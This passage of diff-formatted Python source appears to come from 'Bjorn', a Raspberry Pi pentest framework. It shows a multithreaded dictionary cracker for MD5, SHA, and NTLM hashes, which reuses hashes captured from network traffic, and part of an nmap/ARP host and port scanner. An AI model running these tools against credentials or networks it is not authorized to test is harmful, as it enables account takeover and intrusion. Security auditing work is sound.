|
||||
|
||||
import os
|
||||
import json
|
||||
import hashlib
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from typing import Any, Dict, List, Optional, Set
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
|
||||
logger = Logger(name="rune_cracker.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "RuneCracker"
|
||||
b_module = "rune_cracker"
|
||||
b_status = "rune_cracker"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_priority = 40
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 600
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 10 # Local cracking is stealthy
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["crack", "hash", "bruteforce", "local"]
|
||||
b_category = "exploitation"
|
||||
b_name = "Rune Cracker"
|
||||
b_description = "Advanced password cracker with mutation rules and progress tracking."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.1.0"
|
||||
b_icon = "RuneCracker.png"
|
||||
|
||||
# Supported hash types and their patterns
|
||||
HASH_PATTERNS = {
|
||||
'md5': r'^[a-fA-F0-9]{32}$',
|
||||
'sha1': r'^[a-fA-F0-9]{40}$',
|
||||
'sha256': r'^[a-fA-F0-9]{64}$',
|
||||
'sha512': r'^[a-fA-F0-9]{128}$',
|
||||
'ntlm': r'^[a-fA-F0-9]{32}$'
|
||||
}
|
||||
|
||||
|
||||
class RuneCracker:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.hashes: Set[str] = set()
|
||||
self.cracked: Dict[str, Dict[str, Any]] = {}
|
||||
self.lock = threading.Lock()
|
||||
self.hash_type: Optional[str] = None
|
||||
|
||||
# Performance tuning for Pi Zero 2
|
||||
self.max_workers = int(getattr(shared_data, "rune_cracker_workers", 4))
|
||||
|
||||
def _hash_password(self, password: str, h_type: str) -> Optional[str]:
|
||||
"""Generate hash for a password using specified algorithm."""
|
||||
try:
|
||||
if h_type == 'md5':
|
||||
return hashlib.md5(password.encode()).hexdigest()
|
||||
elif h_type == 'sha1':
|
||||
return hashlib.sha1(password.encode()).hexdigest()
|
||||
elif h_type == 'sha256':
|
||||
return hashlib.sha256(password.encode()).hexdigest()
|
||||
elif h_type == 'sha512':
|
||||
return hashlib.sha512(password.encode()).hexdigest()
|
||||
elif h_type == 'ntlm':
|
||||
# NTLM is MD4(UTF-16LE(password))
|
||||
try:
|
||||
return hashlib.new('md4', password.encode('utf-16le')).hexdigest()
|
||||
except ValueError:
|
||||
# MD4 not available in this Python build (e.g., FIPS mode)
|
||||
return None
|
||||
except Exception as e:
|
||||
logger.debug(f"Hashing error ({h_type}): {e}")
|
||||
return None
|
||||
|
||||
def _crack_password_worker(self, password: str, progress: ProgressTracker):
|
||||
"""Worker function for cracking passwords."""
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return
|
||||
|
||||
for h_type in HASH_PATTERNS.keys():
|
||||
if self.hash_type and self.hash_type != h_type:
|
||||
continue
|
||||
|
||||
hv = self._hash_password(password, h_type)
|
||||
if hv and hv in self.hashes:
|
||||
with self.lock:
|
||||
if hv not in self.cracked:
|
||||
self.cracked[hv] = {
|
||||
"password": password,
|
||||
"type": h_type,
|
||||
"cracked_at": datetime.now().isoformat()
|
||||
}
|
||||
logger.success(f"Cracked {h_type}: {hv[:8]}... -> {password}")
|
||||
self.shared_data.log_milestone(b_class, "Cracked", f"{h_type} found!")
|
||||
# EPD live status update
|
||||
self.shared_data.comment_params = {"hashes": str(len(self.hashes)), "cracked": str(len(self.cracked))}
|
||||
|
||||
progress.advance()
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
"""Standard Orchestrator entry point."""
|
||||
input_file = str(getattr(self.shared_data, "rune_cracker_input", ""))
|
||||
wordlist_path = str(getattr(self.shared_data, "rune_cracker_wordlist", ""))
|
||||
self.hash_type = getattr(self.shared_data, "rune_cracker_type", None)
|
||||
_fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "hashes")
|
||||
output_dir = getattr(self.shared_data, "rune_cracker_output", _fallback_dir)
|
||||
|
||||
if not input_file or not os.path.exists(input_file):
|
||||
# Fallback: Check for latest odin_recon or other hashes if running in generic mode
|
||||
potential_input = os.path.join(self.shared_data.data_dir, "output", "packets", "latest_hashes.txt")
|
||||
if os.path.exists(potential_input):
|
||||
input_file = potential_input
|
||||
logger.info(f"RuneCracker: No input provided, using fallback: {input_file}")
|
||||
else:
|
||||
logger.error(f"Input file not found: {input_file}")
|
||||
return "failed"
|
||||
|
||||
# Reset per-run state to prevent accumulation across reused instances
|
||||
self.cracked.clear()
|
||||
# Load hashes
|
||||
self.hashes.clear()
|
||||
try:
|
||||
with open(input_file, 'r', encoding="utf-8", errors="ignore") as f:
|
||||
for line in f:
|
||||
hv = line.strip()
|
||||
if not hv: continue
|
||||
# Auto-detect or validate
|
||||
for h_t, pat in HASH_PATTERNS.items():
|
||||
if re.match(pat, hv):
|
||||
if not self.hash_type or self.hash_type == h_t:
|
||||
self.hashes.add(hv)
|
||||
break
|
||||
except Exception as e:
|
||||
logger.error(f"Error loading hashes: {e}")
|
||||
return "failed"
|
||||
|
||||
if not self.hashes:
|
||||
logger.warning("No valid hashes found in input file.")
|
||||
return "failed"
|
||||
|
||||
logger.info(f"RuneCracker: Loaded {len(self.hashes)} hashes. Starting engine...")
|
||||
self.shared_data.log_milestone(b_class, "Initialization", f"Loaded {len(self.hashes)} hashes")
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"hashes": str(len(self.hashes)), "cracked": "0"}
|
||||
|
||||
# Prepare password plan
|
||||
dict_passwords = []
|
||||
if wordlist_path and os.path.exists(wordlist_path):
|
||||
with open(wordlist_path, 'r', encoding="utf-8", errors="ignore") as f:
|
||||
dict_passwords = [l.strip() for l in f if l.strip()]
|
||||
else:
|
||||
# Fallback tiny list
|
||||
dict_passwords = ['password', 'admin', '123456', 'qwerty', 'bjorn']
|
||||
|
||||
dictionary, fallback = merged_password_plan(self.shared_data, dict_passwords)
|
||||
all_candidates = dictionary + fallback
|
||||
|
||||
progress = ProgressTracker(self.shared_data, len(all_candidates))
|
||||
self.shared_data.log_milestone(b_class, "Bruteforce", f"Testing {len(all_candidates)} candidates")
|
||||
|
||||
try:
|
||||
try:
|
||||
with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
|
||||
for pwd in all_candidates:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
executor.shutdown(wait=False, cancel_futures=True)
|
||||
return "interrupted"
|
||||
executor.submit(self._crack_password_worker, pwd, progress)
|
||||
except Exception as e:
|
||||
logger.error(f"Cracking engine error: {e}")
|
||||
return "failed"
|
||||
|
||||
# Save results
|
||||
if self.cracked:
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
out_file = os.path.join(output_dir, f"cracked_{int(time.time())}.json")
|
||||
with open(out_file, 'w', encoding="utf-8") as f:
|
||||
json.dump({
|
||||
"target_file": input_file,
|
||||
"total_hashes": len(self.hashes),
|
||||
"cracked_count": len(self.cracked),
|
||||
"results": self.cracked
|
||||
}, f, indent=4)
|
||||
logger.success(f"Cracked {len(self.cracked)} hashes! Results: {out_file}")
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Cracked {len(self.cracked)} hashes")
|
||||
return "success"
|
||||
|
||||
logger.info("Cracking finished. No matches found.")
|
||||
self.shared_data.log_milestone(b_class, "Finished", "No passwords found")
|
||||
return "success" # Still success even if 0 cracked, as it finished the task
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Minimal CLI for testing
|
||||
import sys
|
||||
from init_shared import shared_data
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: rune_cracker.py <hash_file>")
|
||||
sys.exit(1)
|
||||
|
||||
shared_data.rune_cracker_input = sys.argv[1]
|
||||
cracker = RuneCracker(shared_data)
|
||||
cracker.execute("local", None, {}, "rune_cracker")
|
||||
@@ -1,853 +0,0 @@
|
||||
"""scanning.py - Network scanner: host discovery, MAC/hostname resolution, and port scanning.
|
||||
|
||||
DB-first design - all results go straight to SQLite. RPi Zero optimized.
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import threading
|
||||
import socket
|
||||
import time
|
||||
import logging
|
||||
import subprocess
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import datetime
|
||||
|
||||
|
||||
import netifaces
|
||||
from getmac import get_mac_address as gma
|
||||
import ipaddress
|
||||
import nmap
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="scanning.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "NetworkScanner"
|
||||
b_module = "scanning"
|
||||
b_status = "NetworkScanner"
|
||||
b_port = None
|
||||
b_parent = None
|
||||
b_priority = 1
|
||||
b_action = "global"
|
||||
b_trigger = "on_interval:180"
|
||||
b_requires = '{"max_concurrent": 1}'
|
||||
b_enabled = 1
|
||||
b_timeout = 300
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 3
|
||||
b_risk_level = "low"
|
||||
b_tags = ["scan", "discovery", "network", "nmap"]
|
||||
b_category = "recon"
|
||||
b_name = "Network Scanner"
|
||||
b_description = "Host discovery, MAC/hostname resolution, and port scanning via nmap."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "NetworkScanner.png"
|
||||
|
||||
# --- Module-level constants (avoid re-creating per call) ---
|
||||
_MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}')
|
||||
_BAD_MACS = frozenset({"00:00:00:00:00:00", "ff:ff:ff:ff:ff:ff"})
|
||||
|
||||
# RPi Zero safe defaults (overridable via shared config)
|
||||
_MAX_HOST_THREADS = 2
|
||||
_MAX_PORT_THREADS = 4
|
||||
_PORT_TIMEOUT = 0.8
|
||||
_MAC_RETRIES = 2
|
||||
_MAC_RETRY_DELAY = 0.5
|
||||
_ARPING_TIMEOUT = 1.0
|
||||
_NMAP_DISCOVERY_TIMEOUT_S = 90
|
||||
_NMAP_DISCOVERY_ARGS = "-sn -PR --max-retries 1 --host-timeout 8s"
|
||||
_SCAN_MIN_INTERVAL_S = 600
|
||||
|
||||
|
||||
def _normalize_mac(s):
|
||||
if not s:
|
||||
return None
|
||||
m = _MAC_RE.search(str(s))
|
||||
if not m:
|
||||
return None
|
||||
return m.group(0).replace('-', ':').lower()
|
||||
|
||||
|
||||
def _is_bad_mac(mac):
|
||||
if not mac:
|
||||
return True
|
||||
mac_l = mac.lower()
|
||||
if mac_l in _BAD_MACS:
|
||||
return True
|
||||
parts = mac_l.split(':')
|
||||
if len(parts) == 6 and len(set(parts)) == 1:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
class NetworkScanner:
|
||||
"""
|
||||
Network scanner that populates SQLite (hosts + stats). No CSV/JSON.
|
||||
Uses ThreadPoolExecutor for bounded concurrency (RPi Zero safe).
|
||||
No 'IP:<ip>' stubs are ever written to the DB; unresolved IPs are tracked in-memory.
|
||||
"""
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.logger = logger
|
||||
self.blacklistcheck = shared_data.blacklistcheck
|
||||
self.mac_scan_blacklist = set(shared_data.mac_scan_blacklist or [])
|
||||
self.ip_scan_blacklist = set(shared_data.ip_scan_blacklist or [])
|
||||
self.hostname_scan_blacklist = set(shared_data.hostname_scan_blacklist or [])
|
||||
self.lock = threading.Lock()
|
||||
self.nm = nmap.PortScanner()
|
||||
self.running = False
|
||||
# Local stop flag for this action instance.
|
||||
# IMPORTANT: actions must never mutate shared_data.orchestrator_should_exit (global stop signal).
|
||||
self._stop_event = threading.Event()
|
||||
self.thread = None
|
||||
self.scan_interface = None
|
||||
|
||||
cfg = getattr(self.shared_data, "config", {}) or {}
|
||||
self.max_host_threads = max(1, min(8, int(cfg.get("scan_max_host_threads", _MAX_HOST_THREADS))))
|
||||
self.max_port_threads = max(1, min(16, int(cfg.get("scan_max_port_threads", _MAX_PORT_THREADS))))
|
||||
self.port_timeout = max(0.3, min(3.0, float(cfg.get("scan_port_timeout_s", _PORT_TIMEOUT))))
|
||||
self.mac_retries = max(1, min(5, int(cfg.get("scan_mac_retries", _MAC_RETRIES))))
|
||||
self.mac_retry_delay = max(0.2, min(2.0, float(cfg.get("scan_mac_retry_delay_s", _MAC_RETRY_DELAY))))
|
||||
self.arping_timeout = max(1.0, min(5.0, float(cfg.get("scan_arping_timeout_s", _ARPING_TIMEOUT))))
|
||||
self.discovery_timeout_s = max(
|
||||
20, min(300, int(cfg.get("scan_nmap_discovery_timeout_s", _NMAP_DISCOVERY_TIMEOUT_S)))
|
||||
)
|
||||
self.discovery_args = str(cfg.get("scan_nmap_discovery_args", _NMAP_DISCOVERY_ARGS)).strip() or _NMAP_DISCOVERY_ARGS
|
||||
self.scan_min_interval_s = max(60, int(cfg.get("scan_min_interval_s", _SCAN_MIN_INTERVAL_S)))
|
||||
self._last_scan_started = 0.0
|
||||
|
||||
# progress
|
||||
self.total_hosts = 0
|
||||
self.scanned_hosts = 0
|
||||
self.total_ports = 0
|
||||
self.scanned_ports = 0
|
||||
|
||||
# ---------- progress ----------
|
||||
def update_progress(self, phase, increment=1):
|
||||
with self.lock:
|
||||
if phase == 'host':
|
||||
self.scanned_hosts += increment
|
||||
host_part = (self.scanned_hosts / self.total_hosts) * 50 if self.total_hosts else 0
|
||||
total = host_part
|
||||
elif phase == 'port':
|
||||
self.scanned_ports += increment
|
||||
port_part = (self.scanned_ports / self.total_ports) * 50 if self.total_ports else 0
|
||||
total = 50 + port_part
|
||||
else:
|
||||
total = 0
|
||||
total = min(max(total, 0), 100)
|
||||
self.shared_data.bjorn_progress = f"{int(total)}%"
|
||||
|
||||
def _should_stop(self) -> bool:
|
||||
# Treat orchestrator flag as read-only, and combine with local stop event.
|
||||
return bool(getattr(self.shared_data, "orchestrator_should_exit", False)) or self._stop_event.is_set()
|
||||
|
||||
# ---------- network ----------
|
||||
def get_network(self):
|
||||
if self._should_stop():
|
||||
return None
|
||||
try:
|
||||
if self.shared_data.use_custom_network:
|
||||
net = ipaddress.ip_network(self.shared_data.custom_network, strict=False)
|
||||
self.logger.info(f"Using custom network: {net}")
|
||||
return net
|
||||
|
||||
interface = self.shared_data.default_network_interface
|
||||
if interface.startswith('bnep'):
|
||||
for alt in ['wlan0', 'eth0']:
|
||||
if alt in netifaces.interfaces():
|
||||
interface = alt
|
||||
self.logger.info(f"Switching from bnep* to {interface}")
|
||||
break
|
||||
|
||||
addrs = netifaces.ifaddresses(interface)
|
||||
ip_info = addrs.get(netifaces.AF_INET)
|
||||
if not ip_info:
|
||||
self.logger.error(f"No IPv4 address found for interface {interface}.")
|
||||
return None
|
||||
|
||||
ip_address = ip_info[0]['addr']
|
||||
netmask = ip_info[0]['netmask']
|
||||
network = ipaddress.IPv4Network(f"{ip_address}/{netmask}", strict=False)
|
||||
self.scan_interface = interface
|
||||
self.logger.info(f"Using network: {network} via {interface}")
|
||||
return network
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error in get_network: {e}")
|
||||
return None
|
||||
|
||||
# ---------- vendor / essid ----------
|
||||
def load_mac_vendor_map(self):
|
||||
vendor_map = {}
|
||||
path = self.shared_data.nmap_prefixes_file
|
||||
if not path or not os.path.exists(path):
|
||||
self.logger.debug(f"nmap_prefixes not found at {path}")
|
||||
return vendor_map
|
||||
try:
|
||||
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#'):
|
||||
continue
|
||||
parts = line.split(None, 1)
|
||||
if len(parts) == 2:
|
||||
pref, vend = parts
|
||||
vendor_map[pref.strip().upper()] = vend.strip()
|
||||
except Exception as e:
|
||||
self.logger.error(f"load_mac_vendor_map error: {e}")
|
||||
return vendor_map
|
||||
|
||||
def mac_to_vendor(self, mac, vendor_map):
|
||||
if not mac or len(mac.split(':')) < 3:
|
||||
return ""
|
||||
pref = ''.join(mac.split(':')[:3]).upper()
|
||||
return vendor_map.get(pref, "")
|
||||
|
||||
def get_current_essid(self):
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['iwgetid', '-r'],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
return (result.stdout or "").strip()
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
# ---------- hostname / mac ----------
|
||||
def validate_hostname(self, ip, hostname):
|
||||
if not hostname:
|
||||
return ""
|
||||
try:
|
||||
infos = socket.getaddrinfo(hostname, None, family=socket.AF_INET)
|
||||
ips = {ai[4][0] for ai in infos}
|
||||
return hostname if ip in ips else ""
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
def get_mac_address(self, ip, hostname):
|
||||
"""
|
||||
Try multiple strategies to resolve a real MAC for the given IP.
|
||||
RETURNS: normalized MAC like 'aa:bb:cc:dd:ee:ff' or None.
|
||||
NEVER returns 'IP:<ip>'.
|
||||
RPi Zero: reduced retries and timeouts.
|
||||
"""
|
||||
if self._should_stop():
|
||||
return None
|
||||
|
||||
try:
|
||||
mac = None
|
||||
|
||||
# 1) getmac (reduced retries for RPi Zero)
|
||||
retries = self.mac_retries
|
||||
while not mac and retries > 0 and not self._should_stop():
|
||||
try:
|
||||
mac = _normalize_mac(gma(ip=ip))
|
||||
except Exception:
|
||||
mac = None
|
||||
if not mac:
|
||||
time.sleep(self.mac_retry_delay)
|
||||
retries -= 1
|
||||
|
||||
# 2) targeted arp-scan
|
||||
if not mac and not self._should_stop():
|
||||
try:
|
||||
iface = self.scan_interface or self.shared_data.default_network_interface or "wlan0"
|
||||
result = subprocess.run(
|
||||
['sudo', 'arp-scan', '--interface', iface, '-q', ip],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
out = result.stdout or ""
|
||||
for line in out.splitlines():
|
||||
if line.strip().startswith(ip):
|
||||
cand = _normalize_mac(line)
|
||||
if cand:
|
||||
mac = cand
|
||||
break
|
||||
if not mac:
|
||||
cand = _normalize_mac(out)
|
||||
if cand:
|
||||
mac = cand
|
||||
except Exception as e:
|
||||
self.logger.debug(f"arp-scan fallback failed for {ip}: {e}")
|
||||
|
||||
# 3) ip neigh
|
||||
if not mac and not self._should_stop():
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['ip', 'neigh', 'show', ip],
|
||||
capture_output=True, text=True, timeout=3
|
||||
)
|
||||
cand = _normalize_mac(result.stdout or "")
|
||||
if cand:
|
||||
mac = cand
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 4) filter invalid/broadcast
|
||||
if _is_bad_mac(mac):
|
||||
mac = None
|
||||
|
||||
return mac
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error in get_mac_address: {e}")
|
||||
return None
|
||||
|
||||
# ---------- port scanning ----------
|
||||
class PortScannerWorker:
|
||||
"""Port scanner using ThreadPoolExecutor for RPi Zero safety."""
|
||||
def __init__(self, outer, target, open_ports, portstart, portend, extra_ports):
|
||||
self.outer = outer
|
||||
self.target = target
|
||||
self.open_ports = open_ports
|
||||
self.portstart = int(portstart)
|
||||
self.portend = int(portend)
|
||||
self.extra_ports = [int(p) for p in (extra_ports or [])]
|
||||
|
||||
def scan_one(self, port):
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(self.outer.port_timeout)
|
||||
try:
|
||||
s.connect((self.target, port))
|
||||
with self.outer.lock:
|
||||
self.open_ports.setdefault(self.target, []).append(port)
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
s.close()
|
||||
except Exception:
|
||||
pass
|
||||
self.outer.update_progress('port', 1)
|
||||
|
||||
def run(self):
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
ports = list(range(self.portstart, self.portend)) + self.extra_ports
|
||||
if not ports:
|
||||
return
|
||||
|
||||
with ThreadPoolExecutor(max_workers=self.outer.max_port_threads) as pool:
|
||||
futures = []
|
||||
for port in ports:
|
||||
if self.outer._should_stop():
|
||||
break
|
||||
futures.append(pool.submit(self.scan_one, port))
|
||||
for f in as_completed(futures):
|
||||
if self.outer._should_stop():
|
||||
break
|
||||
try:
|
||||
f.result(timeout=self.outer.port_timeout + 1)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ---------- main scan block ----------
|
||||
class ScanPorts:
|
||||
class IpData:
|
||||
def __init__(self):
|
||||
self.ip_list = []
|
||||
self.hostname_list = []
|
||||
self.mac_list = []
|
||||
|
||||
def __init__(self, outer, network, portstart, portend, extra_ports):
|
||||
self.outer = outer
|
||||
self.network = network
|
||||
self.portstart = int(portstart)
|
||||
self.portend = int(portend)
|
||||
self.extra_ports = [int(p) for p in (extra_ports or [])]
|
||||
self.ip_data = self.IpData()
|
||||
self.ip_hostname_list = [] # tuples (ip, hostname, mac)
|
||||
self.open_ports = {}
|
||||
self.all_ports = []
|
||||
|
||||
# per-run pending cache for unresolved IPs (no DB writes)
|
||||
self.pending = {}
|
||||
|
||||
def scan_network_and_collect(self):
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
with self.outer.lock:
|
||||
self.outer.shared_data.bjorn_progress = "1%"
|
||||
t0 = time.time()
|
||||
try:
|
||||
self.outer.nm.scan(
|
||||
hosts=str(self.network),
|
||||
arguments=self.outer.discovery_args,
|
||||
timeout=self.outer.discovery_timeout_s,
|
||||
)
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Nmap host discovery failed: {e}")
|
||||
return
|
||||
|
||||
hosts = list(self.outer.nm.all_hosts())
|
||||
if self.outer.blacklistcheck:
|
||||
hosts = [ip for ip in hosts if ip not in self.outer.ip_scan_blacklist]
|
||||
|
||||
self.outer.total_hosts = len(hosts)
|
||||
self.outer.scanned_hosts = 0
|
||||
self.outer.update_progress('host', 0)
|
||||
|
||||
elapsed = time.time() - t0
|
||||
self.outer.logger.info(f"Host discovery: {len(hosts)} candidate(s) (took {elapsed:.1f}s)")
|
||||
|
||||
# Update comment for display
|
||||
self.outer.shared_data.comment_params = {
|
||||
"hosts_found": str(len(hosts)),
|
||||
"network": str(self.network),
|
||||
"elapsed": f"{elapsed:.1f}"
|
||||
}
|
||||
|
||||
# existing hosts (for quick merge)
|
||||
try:
|
||||
existing_rows = self.outer.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"DB get_all_hosts failed: {e}")
|
||||
existing_rows = []
|
||||
self.existing_map = {h['mac_address']: h for h in existing_rows}
|
||||
self.seen_now = set()
|
||||
|
||||
# vendor/essid
|
||||
self.vendor_map = self.outer.load_mac_vendor_map()
|
||||
self.essid = self.outer.get_current_essid()
|
||||
|
||||
# per-host threads with bounded pool
|
||||
max_threads = min(self.outer.max_host_threads, len(hosts)) if hosts else 1
|
||||
with ThreadPoolExecutor(max_workers=max_threads) as pool:
|
||||
futures = {}
|
||||
for host in hosts:
|
||||
if self.outer._should_stop():
|
||||
break
|
||||
f = pool.submit(self.scan_host, host)
|
||||
futures[f] = host
|
||||
|
||||
for f in as_completed(futures):
|
||||
if self.outer._should_stop():
|
||||
break
|
||||
try:
|
||||
f.result(timeout=30)
|
||||
except Exception as e:
|
||||
ip = futures.get(f, "?")
|
||||
self.outer.logger.error(f"Host scan thread failed for {ip}: {e}")
|
||||
|
||||
self.outer.logger.info(
|
||||
f"Host mapping completed: {self.outer.scanned_hosts}/{self.outer.total_hosts} processed, "
|
||||
f"{len(self.ip_hostname_list)} MAC(s) found, {len(self.pending)} unresolved IP(s)"
|
||||
)
|
||||
|
||||
# mark unseen as alive=0
|
||||
existing_macs = set(self.existing_map.keys())
|
||||
for mac in existing_macs - self.seen_now:
|
||||
try:
|
||||
self.outer.shared_data.db.update_host(mac_address=mac, alive=0)
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Failed to mark {mac} as dead: {e}")
|
||||
|
||||
# feed ip_data
|
||||
for ip, hostname, mac in self.ip_hostname_list:
|
||||
self.ip_data.ip_list.append(ip)
|
||||
self.ip_data.hostname_list.append(hostname)
|
||||
self.ip_data.mac_list.append(mac)
|
||||
|
||||
def scan_host(self, ip):
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
if self.outer.blacklistcheck and ip in self.outer.ip_scan_blacklist:
|
||||
return
|
||||
try:
|
||||
# ARP ping to help populate neighbor cache (subprocess with timeout)
|
||||
try:
|
||||
subprocess.run(
|
||||
['arping', '-c', '2', '-w', str(self.outer.arping_timeout), ip],
|
||||
capture_output=True, timeout=self.outer.arping_timeout + 2
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Hostname (validated)
|
||||
hostname = ""
|
||||
try:
|
||||
hostname = self.outer.nm[ip].hostname()
|
||||
except Exception:
|
||||
pass
|
||||
hostname = self.outer.validate_hostname(ip, hostname)
|
||||
|
||||
if self.outer.blacklistcheck and hostname and hostname in self.outer.hostname_scan_blacklist:
|
||||
self.outer.update_progress('host', 1)
|
||||
return
|
||||
|
||||
time.sleep(0.5) # let ARP breathe (reduced from 1.0 for RPi Zero speed)
|
||||
|
||||
mac = self.outer.get_mac_address(ip, hostname)
|
||||
if mac:
|
||||
mac = mac.lower()
|
||||
|
||||
if self.outer.blacklistcheck and mac in self.outer.mac_scan_blacklist:
|
||||
self.outer.update_progress('host', 1)
|
||||
return
|
||||
|
||||
if not mac:
|
||||
# No MAC -> keep it in-memory only (no DB writes)
|
||||
slot = self.pending.setdefault(
|
||||
ip,
|
||||
{'hostnames': set(), 'ports': set(), 'first_seen': int(time.time()), 'essid': self.essid}
|
||||
)
|
||||
if hostname:
|
||||
slot['hostnames'].add(hostname)
|
||||
self.outer.logger.debug(f"Pending (no MAC yet): {ip} hostname={hostname or '-'}")
|
||||
else:
|
||||
# MAC found -> write/update in DB
|
||||
self.seen_now.add(mac)
|
||||
vendor = self.outer.mac_to_vendor(mac, self.vendor_map)
|
||||
|
||||
prev = self.existing_map.get(mac)
|
||||
ips_set, hosts_set, ports_set = set(), set(), set()
|
||||
|
||||
if prev:
|
||||
if prev.get('ips'):
|
||||
ips_set.update(p for p in prev['ips'].split(';') if p)
|
||||
if prev.get('hostnames'):
|
||||
hosts_set.update(h for h in prev['hostnames'].split(';') if h)
|
||||
if prev.get('ports'):
|
||||
ports_set.update(p for p in prev['ports'].split(';') if p)
|
||||
|
||||
if ip:
|
||||
ips_set.add(ip)
|
||||
|
||||
current_hn = ""
|
||||
if hostname:
|
||||
try:
|
||||
self.outer.shared_data.db.update_hostname(mac, hostname)
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Failed to update hostname for {mac}: {e}")
|
||||
current_hn = hostname
|
||||
else:
|
||||
current_hn = (prev.get('hostnames') or "").split(';', 1)[0] if prev else ""
|
||||
|
||||
ips_sorted = ';'.join(sorted(
|
||||
ips_set,
|
||||
key=lambda x: tuple(map(int, x.split('.'))) if x.count('.') == 3 else (0, 0, 0, 0)
|
||||
)) if ips_set else None
|
||||
|
||||
try:
|
||||
self.outer.shared_data.db.update_host(
|
||||
mac_address=mac,
|
||||
ips=ips_sorted,
|
||||
hostnames=None,
|
||||
alive=1,
|
||||
ports=None,
|
||||
vendor=vendor or (prev.get('vendor') if prev else ""),
|
||||
essid=self.essid or (prev.get('essid') if prev else None)
|
||||
)
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Failed to update host {mac}: {e}")
|
||||
|
||||
# refresh local cache
|
||||
self.existing_map[mac] = dict(
|
||||
mac_address=mac,
|
||||
ips=ips_sorted or (prev.get('ips') if prev else ""),
|
||||
hostnames=current_hn or (prev.get('hostnames') if prev else ""),
|
||||
alive=1,
|
||||
ports=';'.join(sorted(ports_set)) if ports_set else (prev.get('ports') if prev else ""),
|
||||
vendor=vendor or (prev.get('vendor') if prev else ""),
|
||||
essid=self.essid or (prev.get('essid') if prev else "")
|
||||
)
|
||||
|
||||
with self.outer.lock:
|
||||
self.ip_hostname_list.append((ip, hostname or "", mac))
|
||||
|
||||
# Update comment params for live display
|
||||
self.outer.shared_data.comment_params = {
|
||||
"ip": ip, "mac": mac,
|
||||
"hostname": hostname or "unknown",
|
||||
"vendor": vendor or "unknown"
|
||||
}
|
||||
self.outer.logger.debug(f"MAC for {ip}: {mac} (hostname: {hostname or '-'})")
|
||||
|
||||
except Exception as e:
|
||||
self.outer.logger.error(f"Error scanning host {ip}: {e}")
|
||||
finally:
|
||||
self.outer.update_progress('host', 1)
|
||||
time.sleep(0.02) # reduced from 0.05
|
||||
|
||||
def start(self):
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
self.scan_network_and_collect()
|
||||
if self.outer._should_stop():
|
||||
return
|
||||
|
||||
# init structures for ports
|
||||
self.open_ports = {ip: [] for ip in self.ip_data.ip_list}
|
||||
|
||||
# port-scan summary
|
||||
total_targets = len(self.ip_data.ip_list)
|
||||
range_size = max(0, self.portend - self.portstart)
|
||||
self.outer.total_ports = total_targets * (range_size + len(self.extra_ports))
|
||||
self.outer.scanned_ports = 0
|
||||
self.outer.update_progress('port', 0)
|
||||
self.outer.logger.info(
|
||||
f"Port scan: {total_targets} host(s), range {self.portstart}-{self.portend-1} "
|
||||
f"(+{len(self.extra_ports)} extra)"
|
||||
)
|
||||
|
||||
